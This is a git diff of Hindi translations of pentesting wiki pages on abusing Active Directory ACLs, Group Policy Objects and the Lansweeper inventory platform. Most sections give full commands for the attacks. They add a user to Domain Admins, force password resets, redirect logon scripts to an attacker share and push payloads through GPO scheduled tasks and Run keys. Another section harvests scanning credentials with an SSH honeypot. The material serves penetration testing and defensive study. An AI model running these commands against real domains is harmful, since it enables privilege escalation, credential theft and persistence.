## **Self (Self-Membership) on Group**
|
||||
|
||||
यह अधिकार हमलावरों को विशिष्ट समूहों, जैसे `Domain Admins`, में खुद को जोड़ने की अनुमति देता है, उन कमांड्स के माध्यम से जो समूह सदस्यता को सीधे बदलते हैं। निम्नलिखित कमांड अनुक्रम का उपयोग करके खुद को जोड़ना संभव है:
|
||||
यह विशेषाधिकार हमलावरों को विशिष्ट समूहों में स्वयं को जोड़ने की अनुमति देता है, जैसे कि `Domain Admins`, उन कमांड्स के माध्यम से जो समूह सदस्यता को सीधे बदलते हैं। निम्नलिखित कमांड अनुक्रम का उपयोग करके स्वयं को जोड़ना संभव होता है:
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **WriteProperty (Self-Membership)**
|
||||
|
||||
यह एक समान privilege है — यदि किसी के पास उन समूहों पर `WriteProperty` अधिकार है तो वह समूह की properties बदलकर स्वयं को समूहों में सीधे जोड़ सकता है। इस privilege की पुष्टि और निष्पादन निम्न के साथ किए जाते हैं:
|
||||
एक समान अधिकार, यह attackers को उन groups पर `WriteProperty` अधिकार होने पर group properties को बदलकर स्वयं को सीधे groups में जोड़ने की अनुमति देता है। इस अधिकार की पुष्टि और निष्पादन निम्न के साथ किया जाता है:
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
net group "domain admins" spotless /add /domain
|
||||
```
|
||||
## **ForceChangePassword**
|
||||
|
||||
किसी उपयोगकर्ता पर `User-Force-Change-Password` के लिए `ExtendedRight` होने से वर्तमान पासवर्ड जाने बिना पासवर्ड रीसेट करने की अनुमति मिलती है। इस अधिकार की सत्यापन और इसका शोषण PowerShell या वैकल्पिक कमांड-लाइन टूल्स के माध्यम से किया जा सकता है, जो उपयोगकर्ता के पासवर्ड को रीसेट करने के कई तरीके प्रदान करते हैं — interactive sessions और non-interactive environments के लिए one-liners सहित। कमांड सरल PowerShell invocations से लेकर Linux पर `rpcclient` के उपयोग तक होते हैं, जो attack vectors की बहुमुखी प्रतिभा प्रदर्शित करते हैं।
|
||||
किसी user पर `User-Force-Change-Password` के लिए `ExtendedRight` होना वर्तमान password जाने बिना password reset करने की अनुमति देता है। इस अधिकार का सत्यापन और इसका शोषण PowerShell या वैकल्पिक command-line tools के माध्यम से किया जा सकता है, जो किसी user's password को reset करने के कई तरीके प्रदान करते हैं — जिनमें इंटरैक्टिव सेशंस और नॉन-इंटरैक्टिव वातावरण के लिए one-liners शामिल हैं। कमांड्स सरल PowerShell invocations से लेकर Linux पर `rpcclient` के उपयोग तक होते हैं, जो attack vectors की बहुमुखीता को दर्शाते हैं।
|
||||
```bash
|
||||
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainUserPassword -Identity delegate -Verbose
|
||||
@ -85,9 +85,9 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
|
||||
rpcclient -U KnownUsername 10.10.10.192
|
||||
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
|
||||
```
|
||||
## **समूह पर WriteOwner**
|
||||
## **Group पर WriteOwner**
|
||||
|
||||
यदि किसी हमलावर को किसी समूह पर `WriteOwner` अधिकार मिलते हैं, तो वे उस समूह का स्वामित्व खुद पर बदल सकते हैं। यह विशेष रूप से तब प्रभावशाली होता है जब संबंधित समूह `Domain Admins` हो, क्योंकि स्वामित्व बदलने से समूह की विशेषताओं और सदस्यता पर व्यापक नियंत्रण मिल जाता है। प्रक्रया में सही ऑब्जेक्ट की पहचान `Get-ObjectAcl` के द्वारा करना और फिर मालिक को SID या नाम के जरिए बदलने के लिए `Set-DomainObjectOwner` का उपयोग करना शामिल है।
|
||||
अगर attacker पाते हैं कि उनके पास किसी group पर `WriteOwner` अधिकार हैं, तो वे उस group का स्वामित्व अपने नाम कर सकते हैं। यह विशेष रूप से तब प्रभावी होता है जब संबंधित group `Domain Admins` हो, क्योंकि स्वामित्व बदलने से group के attributes और membership पर व्यापक नियंत्रण मिल जाता है। प्रक्रिया में सही ऑब्जेक्ट की पहचान `Get-ObjectAcl` के माध्यम से करना और फिर `Set-DomainObjectOwner` का उपयोग करके owner को बदलना शामिल है, चाहे SID द्वारा हो या नाम द्वारा।
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
|
||||
@ -95,15 +95,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
|
||||
```
|
||||
## **GenericWrite on User**
|
||||
|
||||
यह अनुमति हमलावर को उपयोगकर्ता गुणों को संशोधित करने की अनुमति देती है। विशेष रूप से, `GenericWrite` एक्सेस के साथ, हमलावर किसी उपयोगकर्ता के लॉगऑन स्क्रिप्ट पाथ को बदल सकता है ताकि उपयोगकर्ता लॉगऑन पर एक हानिकारक स्क्रिप्ट निष्पादित हो। यह `Set-ADObject` कमांड का उपयोग करके हासिल किया जाता है, जो लक्षित उपयोगकर्ता के `scriptpath` प्रॉपर्टी को हमलावर की स्क्रिप्ट की ओर निर्देशित करने के लिए अपडेट करता है।
|
||||
यह अनुमति attacker को user properties संशोधित करने की अनुमति देती है। विशेष रूप से, `GenericWrite` access के साथ, attacker एक user के logon script path को बदल सकता है ताकि user के logon पर एक malicious script execute हो सके। यह `Set-ADObject` command का उपयोग कर लक्ष्य user की `scriptpath` property को अपडेट करके हासिल किया जाता है, ताकि वह attacker की script की ओर इशारा करे।
|
||||
```bash
|
||||
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
|
||||
```
|
||||
## **GenericWrite on Group**
|
||||
|
||||
इस privilege के साथ, attackers group membership को बदल सकते हैं — उदाहरण के तौर पर वे खुद को या अन्य users को specific groups में जोड़ सकते हैं।
|
||||
|
||||
इस प्रक्रिया में एक credential object बनाना शामिल है, उसे group में users को जोड़ने या हटाने के लिए उपयोग करना, और membership में हुए बदलावों को PowerShell commands से सत्यापित करना।
|
||||
इस विशेषाधिकार के साथ, हमलावर समूह सदस्यता को नियंत्रित कर सकते हैं, जैसे कि अपना या अन्य उपयोगकर्ताओं का किसी विशिष्ट समूह में जोड़ना। यह प्रक्रिया एक क्रेडेंशियल ऑब्जेक्ट बनाने, उसे उपयोग करके उपयोगकर्ताओं को समूह में जोड़ने या हटाने, और PowerShell कमांड्स से सदस्यता बदलावों की पुष्टि करने पर आधारित होती है।
|
||||
```bash
|
||||
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
|
||||
@ -113,7 +111,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
|
||||
```
|
||||
## **WriteDACL + WriteOwner**
|
||||
|
||||
AD object का मालिक होना और उस पर `WriteDACL` privileges होना एक attacker को उस object पर खुद को `GenericAll` privileges दे पाने में सक्षम बनाता है। यह ADSI manipulation के माध्यम से किया जाता है, जिससे object पर पूरा control मिलता है और इसके group memberships को modify करने की क्षमता मिलती है। इसके बावजूद, Active Directory module के `Set-Acl` / `Get-Acl` cmdlets का इस्तेमाल करके इन privileges का exploit करने में सीमाएँ मौजूद हैं।
|
||||
किसी AD ऑब्जेक्ट का मालिक होना और उस पर `WriteDACL` अधिकार होना एक हमलावर को उस ऑब्जेक्ट पर अपने लिए `GenericAll` अधिकार देने में सक्षम बनाता है। यह ADSI manipulation के माध्यम से किया जाता है, जो ऑब्जेक्ट पर पूर्ण नियंत्रण और उसके group memberships को संशोधित करने की अनुमति देता है। इसके बावजूद, Active Directory module के `Set-Acl` / `Get-Acl` cmdlets का उपयोग करके इन विशेषाधिकारों का शोषण करने का प्रयास करते समय कुछ सीमाएँ होती हैं।
|
||||
```bash
|
||||
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
|
||||
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
|
||||
@ -121,66 +119,66 @@ $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityRe
|
||||
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
|
||||
$ADSI.psbase.commitchanges()
|
||||
```
|
||||
## **डोमेन पर प्रतिकरण (DCSync)**
|
||||
## **डोमेन पर प्रतिकृति (DCSync)**
|
||||
|
||||
DCSync attack डोमेन पर विशिष्ट प्रतिकरण अनुमतियों का उपयोग करके एक Domain Controller की नकल करता है और डेटा, जिसमें user credentials शामिल हैं, सिंक्रोनाइज़ करता है। यह शक्तिशाली तकनीक `DS-Replication-Get-Changes` जैसी permissions की आवश्यकता करती है, जो attackers को AD वातावरण से संवेदनशील जानकारी सीधे Domain Controller तक पहुँच के बिना निकालने की अनुमति देती है। [**Learn more about the DCSync attack here.**](../dcsync.md)
|
||||
DCSync attack डोमेन पर विशिष्ट प्रतिकरण अनुमतियों (replication permissions) का लाभ उठाकर एक Domain Controller की नकल करता है और डेटा को सिंक्रोनाइज़ करता है, जिसमें उपयोगकर्ता क्रेडेंशियल्स भी शामिल हैं। यह शक्तिशाली तकनीक `DS-Replication-Get-Changes` जैसी अनुमतियों की आवश्यकता करती है, जिससे हमलावर AD environment से संवेदनशील जानकारी निकाल सकते हैं बिना सीधे Domain Controller तक पहुंच के। [**Learn more about the DCSync attack here.**](../dcsync.md)
|
||||
|
||||
## GPO Delegation <a href="#gpo-delegation" id="gpo-delegation"></a>
|
||||
## GPO प्रतिनिधिकरण <a href="#gpo-delegation" id="gpo-delegation"></a>
|
||||
|
||||
### GPO Delegation
|
||||
|
||||
Group Policy Objects (GPOs) को प्रबंधित करने के लिए delegated access गंभीर सुरक्षा जोखिम पैदा कर सकता है। उदाहरण के लिए, अगर किसी उपयोगकर्ता जैसे `offense\spotless` को GPO प्रबंधन अधिकार delegated किए गए हैं, तो उसे **WriteProperty**, **WriteDacl**, और **WriteOwner** जैसी privileges मिल सकती हैं। इन permissions का दुरुपयोग malicious उद्देश्यों के लिए किया जा सकता है, जैसा कि PowerView का उपयोग कर पहचाना जा सकता है: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
Group Policy Objects (GPOs) को प्रबंधित करने के लिए सौंपा गया एक्सेस गंभीर सुरक्षा जोखिम पैदा कर सकता है। उदाहरण के लिए, यदि `offense\spotless` जैसे उपयोगकर्ता को GPO प्रबंधन अधिकार दिए गए हैं, तो उनके पास **WriteProperty**, **WriteDacl**, और **WriteOwner** जैसे विशेषाधिकार हो सकते हैं। इन अनुमतियों का दुरुपयोग malicious उद्देश्यों के लिए किया जा सकता है, जैसा कि PowerView का उपयोग करके पहचाना जा सकता है: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
### GPO अनुमतियाँ सूचीबद्ध करें
|
||||
### GPO अनुमतियों का अन्वेषण
|
||||
|
||||
गलत कॉन्फ़िगर किए गए GPOs की पहचान करने के लिए, PowerSploit के cmdlets को chained किया जा सकता है। इससे उन GPOs की खोज होती है जिन्हें किसी विशिष्ट उपयोगकर्ता के पास manage करने की permissions हैं: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
गलत कॉन्फ़िगर किए गए GPOs की पहचान करने के लिए PowerSploit के cmdlets को एक साथ chain किया जा सकता है। इससे उन GPOs की खोज संभव होती है जिन्हें किसी विशिष्ट उपयोगकर्ता द्वारा प्रबंधित करने की अनुमति है: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
**Computers with a Given Policy Applied**: यह पता लगाना संभव है कि कोई विशिष्ट GPO किन कंप्यूटरों पर लागू है, जिससे संभावित प्रभाव का दायरा समझने में मदद मिलती है। `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
**किसी दिए गए पॉलिसी पर लागू कंप्यूटर**: यह पता लगाया जा सकता है कि कोई विशिष्ट GPO किन कंप्यूटरों पर लागू होता है, जिससे संभावित प्रभाव का दायरा समझने में मदद मिलती है। `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
|
||||
**Policies Applied to a Given Computer**: किसी विशेष कंप्यूटर पर कौन-सी policies लागू हैं देखने के लिए, `Get-DomainGPO` जैसे commands का उपयोग किया जा सकता है।
|
||||
**किसी दिए गए कंप्यूटर पर लागू पॉलिसियाँ**: किसी विशेष कंप्यूटर पर कौन सी पॉलिसियाँ लागू हैं यह देखने के लिए `Get-DomainGPO` जैसे कमांड उपयोग किए जा सकते हैं।
|
||||
|
||||
**OUs with a Given Policy Applied**: किसी दिए गए policy से प्रभावित organizational units (OUs) की पहचान `Get-DomainOU` का उपयोग करके की जा सकती है।
|
||||
**किसी पॉलिसी के तहत प्रभावित OUs**: किसी दिए गए पॉलिसी द्वारा प्रभावित organizational units (OUs) की पहचान `Get-DomainOU` का उपयोग करके की जा सकती है।
|
||||
|
||||
आप [**GPOHound**](https://github.com/cogiceo/GPOHound) टूल का उपयोग करके GPOs सूचीबद्ध कर सकते हैं और उनमें समस्याएँ ढूँढ सकते हैं।
|
||||
आप GPOs को enumerate करने और उनमें issues ढूँढने के लिए [**GPOHound**](https://github.com/cogiceo/GPOHound) टूल का भी उपयोग कर सकते हैं।
|
||||
|
||||
### GPO का दुरुपयोग - New-GPOImmediateTask
|
||||
|
||||
गलत कॉन्फ़िगर किए गए GPOs का exploit करके कोड execute कराया जा सकता है — उदाहरण के तौर पर एक immediate scheduled task बनाकर। इससे प्रभावित मशीनों पर किसी user को local administrators group में जोड़ा जा सकता है, जो privileges को काफी बढ़ा देता है:
|
||||
गलत कॉन्फ़िगर किए गए GPOs का दुरुपयोग कोड execute करने के लिए किया जा सकता है, उदाहरण के लिए एक immediate scheduled task बनाकर। इसका उपयोग प्रभावित मशीनों पर किसी उपयोगकर्ता को local administrators group में जोड़ने के लिए किया जा सकता है, जिससे privileges में काफी वृद्धि हो जाती है:
|
||||
```bash
|
||||
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
|
||||
```
|
||||
### GroupPolicy module - Abuse GPO
|
||||
|
||||
यदि GroupPolicy module इंस्टॉल है, तो यह नए GPOs बनाने और लिंक करने, तथा प्रभावित कंप्यूटरों पर backdoors चलाने के लिए registry values जैसी preferences सेट करने की अनुमति देता है। यह तरीका निष्पादन के लिए GPO के अपडेट होने और एक user के कंप्यूटर में लॉगिन करने पर निर्भर करता है:
|
||||
GroupPolicy module, यदि स्थापित है, नए GPOs बनाने और लिंक करने, और प्रभावित कंप्यूटरों पर backdoors निष्पादित करने के लिए preferences जैसे registry values सेट करने की अनुमति देता है। इस विधि के लिए GPO को अपडेट किया जाना और निष्पादन के लिए किसी उपयोगकर्ता का कंप्यूटर पर लॉग इन होना आवश्यक है:
|
||||
```bash
|
||||
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
|
||||
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
|
||||
```
|
||||
### SharpGPOAbuse - Abuse GPO
|
||||
|
||||
SharpGPOAbuse मौजूदा GPOs का दुरुपयोग करने का एक तरीका प्रदान करता है, जैसे कि टास्क जोड़कर या सेटिंग्स बदलकर — नए GPOs बनाने की आवश्यकता के बिना। यह टूल परिवर्तनों को लागू करने से पहले मौजूदा GPOs में संशोधन या नए GPOs बनाने के लिए RSAT tools के उपयोग की आवश्यकता रखता है:
|
||||
SharpGPOAbuse मौजूदा GPOs में टास्क जोड़कर या सेटिंग्स बदलकर नए GPOs बनाए बिना उनका दुरुपयोग करने का तरीका देता है। इस टूल के लिए परिवर्तन लागू करने से पहले मौजूदा GPOs को संशोधित करना या नए GPOs बनाने हेतु RSAT tools का उपयोग करना आवश्यक है:
|
||||
```bash
|
||||
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
|
||||
```
|
||||
### Force Policy Update
|
||||
### पॉलिसी अपडेट जबरन लागू करें
|
||||
|
||||
GPO अपडेट सामान्यतः लगभग हर 90 मिनट में होते हैं। इस प्रक्रिया को तेज करने के लिए, विशेषकर किसी बदलाव के बाद, लक्षित कंप्यूटर पर `gpupdate /force` कमांड का उपयोग करके तत्काल नीति अपडेट लागू कराया जा सकता है। यह कमांड सुनिश्चित करता है कि GPOs में किए गए किसी भी संशोधन को अगले स्वचालित अपडेट चक्र का इंतजार किए बिना लागू किया जा सके।
|
||||
GPO अपडेट सामान्यतः लगभग हर 90 मिनट में होते हैं। इस प्रक्रिया को तेज करने के लिए, विशेषकर किसी परिवर्तन को लागू करने के बाद, लक्षित कंप्यूटर पर `gpupdate /force` कमांड का उपयोग कर तुरंत पॉलिसी अपडेट को जबरन लागू किया जा सकता है। यह कमांड यह सुनिश्चित करता है कि GPOs में किए गए किसी भी परिवर्तन को अगले स्वचालित अपडेट चक्र का इंतज़ार किए बिना लागू कर दिया जाए।
|
||||
|
||||
### आंतरिक विवरण
|
||||
### अंतर्निहित विवरण
|
||||
|
||||
किसी दिए गए GPO के Scheduled Tasks की जाँच करने पर, जैसे कि `Misconfigured Policy`, यह पुष्टि की जा सकती है कि `evilTask` जैसे कार्य जोड़े गए हैं। ये कार्य स्क्रिप्ट्स या कमांड-लाइन टूल्स के माध्यम से बनाए जाते हैं जिनका उद्देश्य सिस्टम के व्यवहार में बदलाव करना या privileges बढ़ाना होता है।
|
||||
किसी दिए गए GPO के Scheduled Tasks का निरीक्षण करने पर, जैसे कि `Misconfigured Policy`, `evilTask` जैसे टास्क्स के जुड़ने की पुष्टि की जा सकती है। ये टास्क्स स्क्रिप्ट्स या कमांड-लाइन टूल्स के माध्यम से बनाए जाते हैं जो सिस्टम व्यवहार बदलने या privileges बढ़ाने का लक्ष्य रखते हैं।
|
||||
|
||||
टास्क की संरचना, जो `New-GPOImmediateTask` द्वारा जनरेट की गई XML कॉन्फ़िगरेशन फ़ाइल में दिखती है, अनुसूचित कार्य के विशिष्ट विवरणों को रेखांकित करती है — जिसमें निष्पादित किए जाने वाले कमांड और उनके ट्रिगर्स शामिल हैं। यह फ़ाइल दर्शाती है कि GPOs के भीतर scheduled tasks कैसे परिभाषित और प्रबंधित होते हैं, और नीति लागू करने के हिस्से के रूप में arbitrary commands या scripts को निष्पादित करने का एक तरीका प्रदान करती है।
|
||||
टास्क की संरचना, जो `New-GPOImmediateTask` द्वारा जनरेरेट की गई XML configuration file में दिखाई देती है, शेड्यूल किए गए टास्क के विशिष्ट विवरण—जिसमें निष्पादित किए जाने वाले कमांड और उसके triggers शामिल हैं—को रेखांकित करती है। यह फ़ाइल दिखाती है कि GPOs के भीतर scheduled tasks किस तरह परिभाषित और प्रबंधित होते हैं, और नीति लागू करने के हिस्से के रूप में किसी भी कमांड या स्क्रिप्ट को चलाने का एक तरीका प्रदान करती है।
|
||||
|
||||
### उपयोगकर्ता और समूह
|
||||
|
||||
GPOs लक्षित सिस्टम पर उपयोगकर्ता और समूह सदस्यताओं के हेरफेर की अनुमति भी देते हैं। Users and Groups नीति फ़ाइलों को सीधे संपादित करके, हमलावर उपयोगकर्ताओं को विशेषाधिकार प्राप्त समूहों में जोड़ सकते हैं, जैसे कि स्थानीय `administrators` समूह। यह GPO प्रबंधन अनुमतियों के delegation के माध्यम से संभव होता है, जो नीति फ़ाइलों में नए उपयोगकर्ता जोड़ने या समूह सदस्यताओं को बदलने की अनुमति देता है।
|
||||
GPOs लक्षित सिस्टम पर उपयोगकर्ता और समूह सदस्यताओं में हेरफेर की भी अनुमति देते हैं। Users and Groups नीति फ़ाइलों को सीधे संपादित करके, हमलावर विशेष उपयोगकर्ताओं को privileged समूहों में जोड़ सकते हैं, जैसे स्थानीय `administrators` समूह। यह GPO प्रबंधन अनुमतियों के delegation के माध्यम से संभव होता है, जो नीति फ़ाइलों में नए उपयोगकर्ताओं को शामिल करने या समूह सदस्यताओं को बदलने की अनुमति देता है।
|
||||
|
||||
Users and Groups के लिए XML कॉन्फ़िगरेशन फ़ाइल यह दर्शाती है कि ये बदलाव कैसे लागू किए जाते हैं। इस फ़ाइल में प्रविष्टियाँ जोड़कर, विशिष्ट उपयोगकर्ताओं को प्रभावित प्रणालियों में बढ़े हुए विशेषाधिकार दिए जा सकते हैं। यह विधि GPO हेरफेर के माध्यम से privilege escalation का एक सीधा तरीका प्रदान करती है।
|
||||
Users and Groups के लिए XML configuration file दिखाती है कि ये परिवर्तन कैसे लागू किए जाते हैं। इस फ़ाइल में प्रविष्टियाँ जोड़कर, विशिष्ट उपयोगकर्ताओं को प्रभावित सिस्टम्स पर उच्च अधिकार दिए जा सकते हैं। यह विधि GPO हेरफेर के माध्यम से सीधे privilege escalation का एक तरीका प्रदान करती है।
|
||||
|
||||
इसके अलावा, कोड निष्पादित करने या persistence बनाए रखने के अतिरिक्त तरीके भी हैं, जैसे logon/logoff scripts का उपयोग, autoruns के लिए registry keys में बदलाव, .msi फ़ाइलों के माध्यम से सॉफ़्टवेयर इंस्टॉल करना, या service configurations को संपादित करना। ये तकनीकें GPOs के दुरुपयोग के माध्यम से पहुंच बनाए रखने और लक्षित प्रणालियों को नियंत्रित करने के विभिन्न रास्ते प्रदान करती हैं।
|
||||
इसके अतिरिक्त, कोड निष्पादित करने या स्थायी पहुँच बनाए रखने के अन्य तरीके भी विचार किए जा सकते हैं—जैसे logon/logoff स्क्रिप्ट्स का उपयोग, autoruns के लिए registry keys में परिवर्तन, .msi फाइलों के माध्यम से सॉफ़्टवेयर इंस्टॉल करना, या service configurations को एडिट करना। ये तकनीकें GPOs के दुरुपयोग के जरिए पहुंच बनाए रखने और लक्षित सिस्टम्स को नियंत्रित करने के विभिन्न मार्ग प्रदान करती हैं।
|
||||
|
||||
## संदर्भ
|
||||
## References
|
||||
|
||||
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces)
|
||||
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
|
||||
|
@ -1,19 +1,19 @@
|
||||
# Lansweeper दुरुपयोग: Credential Harvesting, Secrets Decryption, और Deployment RCE
|
||||
# Lansweeper Abuse: Credential Harvesting, Secrets Decryption, and Deployment RCE
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Lansweeper एक IT एसेट discovery और inventory प्लेटफ़ॉर्म है, जो आमतौर पर Windows पर तैनात होता है और Active Directory के साथ integrated होता है। Lansweeper में कॉन्फ़िगर किए गए credentials का उपयोग इसकी scanning engines द्वारा SSH, SMB/WMI और WinRM जैसे प्रोटोकॉल पर assets को authenticate करने के लिए किया जाता है। मिसकॉनफिगरेशन्स अक्सर निम्न की अनुमति देते हैं:
|
||||
Lansweeper एक IT asset discovery और inventory प्लेटफ़ॉर्म है जो आम तौर पर Windows पर डिप्लॉय किया जाता है और Active Directory के साथ इंटीग्रेट होता है। Lansweeper में कॉन्फ़िगर किए गए क्रेडेंशियल्स का उपयोग उसके scanning engines द्वारा SSH, SMB/WMI और WinRM जैसे प्रोटोकॉल्स पर assets को authenticate करने के लिए किया जाता है। Misconfigurations अक्सर निम्न की अनुमति देते हैं:
|
||||
|
||||
- Scanning target को हमलावर-नियंत्रित होस्ट (honeypot) पर redirect करके credentials intercept करना
|
||||
- Lansweeper-related groups द्वारा expose किए गए AD ACLs का दुरुपयोग कर remote access प्राप्त करना
|
||||
- Lansweeper में configured secrets (connection strings और stored scanning credentials) का ऑन‑होस्ट decryption
|
||||
- Deployment feature के माध्यम से managed endpoints पर code execution (अक्सर SYSTEM के रूप में चलकर)
|
||||
- किसी Scanning Target को attacker-controlled होस्ट (honeypot) पर रीडायरेक्ट करके credential interception
|
||||
- Lansweeper-related groups द्वारा एक्सपोज़ किए गए AD ACLs का abuse करके रिमोट एक्सेस प्राप्त करना
|
||||
- Lansweeper-कॉन्फ़िगर किए गए secrets (connection strings और stored scanning credentials) का on-host decryption
|
||||
- Deployment फीचर के माध्यम से managed endpoints पर code execution (अक्सर SYSTEM के रूप में चल रहा होता है)
|
||||
|
||||
यह पृष्ठ engagements के दौरान इन व्यवहारों का दुरुपयोग करने के लिए उपयोगी practical attacker workflows और commands का सारांश प्रस्तुत करता है।
|
||||
यह पेज एंगेजमेंट के दौरान इन व्यवहारों का दुरुपयोग करने के लिए व्यावहारिक attacker workflows और कमांड्स का सारांश देता है।
|
||||
|
||||
## 1) Scanning credentials को honeypot के जरिए harvest करना (SSH उदाहरण)
|
||||
## 1) Harvest scanning credentials via honeypot (SSH example)
|
||||
|
||||
विचार: एक Scanning Target बनाएं जो आपके host की ओर इशारा करे और मौजूदा Scanning Credentials को उससे map करें। जब scan चलेगा, Lansweeper उन credentials से authenticate करने की कोशिश करेगा और आपका honeypot उन्हें capture कर लेगा।
|
||||
Idea: अपने होस्ट की ओर इशारा करने वाला एक Scanning Target बनाएं और मौजूदा Scanning Credentials को उससे map करें। जब scan चलेगा, Lansweeper उन क्रेडेंशियल्स से authenticate करने की कोशिश करेगा, और आपका honeypot उन प्रयासों को कैप्चर करेगा।
|
||||
|
||||
Steps overview (web UI):
|
||||
- Scanning → Scanning Targets → Add Scanning Target
|
||||
@ -39,7 +39,7 @@ sshesame --config sshesame.conf
|
||||
# authentication for user "svc_inventory_lnx" with password "<password>" accepted
|
||||
# connection with client version "SSH-2.0-RebexSSH_5.0.x" established
|
||||
```
|
||||
DC सेवाओं के खिलाफ कैप्चर किए गए creds को सत्यापित करें:
|
||||
captured creds को DC services के खिलाफ मान्य करें:
|
||||
```bash
|
||||
# SMB/LDAP/WinRM checks (NetExec)
|
||||
netexec smb inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
@ -47,12 +47,12 @@ netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
```
|
||||
Notes
|
||||
- जब आप scanner को अपने listener (SMB/WinRM honeypots, आदि) की ओर coerc कर सकें तो यह अन्य protocols के साथ भी समान रूप से काम करता है। SSH अक्सर सबसे सरल होता है।
|
||||
- कई scanners अपने आप को अलग client banners (e.g., RebexSSH) से पहचानते हैं और अक्सर सामान्य commands (uname, whoami, आदि) आजमाने की कोशिश करते हैं।
|
||||
- अन्य प्रोटोकॉल्स के लिए भी समान रूप से काम करता है जब आप scanner को अपने listener की ओर coercion कर सकें (SMB/WinRM honeypots, आदि)। SSH अक्सर सबसे सरल होता है।
|
||||
- कई scanners खुद को अलग client banners के साथ पहचानते हैं (उदा., RebexSSH) और benign commands (uname, whoami, आदि) का प्रयास करेंगे।
|
||||
|
||||
## 2) AD ACL abuse: किसी app-admin group में अपने आप को जोड़कर gain remote access
|
||||
## 2) AD ACL abuse: app-admin group में खुद को जोड़कर remote access प्राप्त करें
|
||||
|
||||
प्रभावित खाते से effective rights को enumerate करने के लिए BloodHound का उपयोग करें। एक आम खोज यह है कि एक scanner- या app-specific group (e.g., “Lansweeper Discovery”) के पास किसी privileged group (e.g., “Lansweeper Admins”) पर GenericAll अधिकार होता है। यदि privileged group “Remote Management Users” का सदस्य भी है, तो हम खुद को जोड़ने के बाद WinRM उपलब्ध हो जाता है।
|
||||
BloodHound का उपयोग करके compromised account से effective rights को enumerate करें। एक सामान्य खोज यह होती है कि कोई scanner- या app-specific group (उदा., “Lansweeper Discovery”) किसी privileged group (उदा., “Lansweeper Admins”) पर GenericAll रखता है। यदि वह privileged group “Remote Management Users” का member भी है, तो हम खुद को जोड़ते ही WinRM उपलब्ध हो जाता है।
|
||||
|
||||
Collection examples:
|
||||
```bash
|
||||
@ -62,7 +62,7 @@ netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>' --bloodhoun
|
||||
# RustHound-CE collection (zip for BH CE import)
|
||||
rusthound-ce --domain sweep.vl -u svc_inventory_lnx -p '<password>' -c All --zip
|
||||
```
|
||||
BloodyAD (Linux) के साथ समूह पर Exploit GenericAll:
|
||||
BloodyAD (Linux) के साथ समूह पर GenericAll का Exploit:
|
||||
```bash
|
||||
# Add our user into the target group
|
||||
bloodyAD --host inventory.sweep.vl -d sweep.vl -u svc_inventory_lnx -p '<password>' \
|
||||
@ -75,20 +75,20 @@ netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
